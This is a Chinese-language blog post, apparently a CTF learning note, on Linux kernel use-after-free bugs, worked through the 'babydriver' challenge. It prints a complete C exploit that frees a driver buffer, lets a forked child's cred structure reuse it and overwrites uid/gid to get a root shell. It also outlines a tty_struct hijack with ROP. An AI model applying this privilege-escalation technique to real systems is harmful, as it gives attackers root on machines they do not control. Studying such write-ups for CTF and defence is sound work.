kernel UAF

kernel UAF

太菜啦太菜啦,Jmp.Cliff真的太菜了。

原理

本质上和用户态的堆题的UAF是一个原理

实现的效果都是能让我们拥有一个指向“非法区域”的指针,用户态的堆题里一般漏洞出在释放后未及时置零,在kernel里也是同理。

对于slub堆管理器仍待继续学习。

例题

经典例题babydriver,fops注册的babyioctl函数会进行kmalloc,大小由我们任意控制,但是在babyrelease时并未将指针置零。

我们可以连续进行两次open,然后再close掉其中一个文件描述符。此时device_buf指向的空间已经被free,但指针未置零。我们可以利用剩余的一个文件描述符配合write和read进行相关操作。

一个想法就是fork一个子进程,然后让新申请的进程cred分配在刚刚被释放的这个空间(cred大小为0xa8),然后利用write去修改这段内存覆盖gid和uid,实现提权。

EXP

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/mman.h>

int babydev[2]={0};
size_t buf[0x8]={0};
size_t fake_op[0x8]={0};


int backdoor(){
    system("/bin/sh");
    return 0;
}

unsigned long long user_cs=0,user_ss=0,user_sp=0,user_rflags=0;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}



int main(){
    save_status();
    babydev[0]=open("/dev/babydev",O_RDWR);
    babydev[1]=open("/dev/babydev",O_RDWR);
    if((!babydev[0])||(!babydev[1]))
    {
        printf("open babydev failed!\n");
    }

    ioctl(babydev[0], 0x10001, 0xA8);
    close(babydev[0]);

    int pid = fork();

    if(pid<0)
    {
        printf("ERROR!\n");
        return 0;
    }    
    else if(pid==0)
    {

        char buf[30] = {0};
        write(babydev[1], buf, 28);

        backdoor();
    }
    else
    {
        wait(0);
    }



    return 0;
}

关于tty

看了另一个解法,是在close后open一个tty设备,让tty_struct分配到这个内存中,然后劫持tty_operations指针指向一个我们构造好的函数指针数组。通过向这个设备去write,调用我们构造好的相关gadget,实现栈迁移到提前布置好的rop链子上,再实现提权。

上面的那个解法似乎在新版本的kernel不可行,因为新的slub规则发生了变化。但是这个利用tty设备的方法我也没有试验成功。个人觉得应该是因为KPTI使得内核和用户空间页表发生了隔离的缘故,原EXP中再用户态布置ROP链子的行为不再可行。

具体原因仍待考察。

posted @ 2023-08-28 11:03  Jmp·Cliff  阅读(18)  评论(0编辑  收藏  举报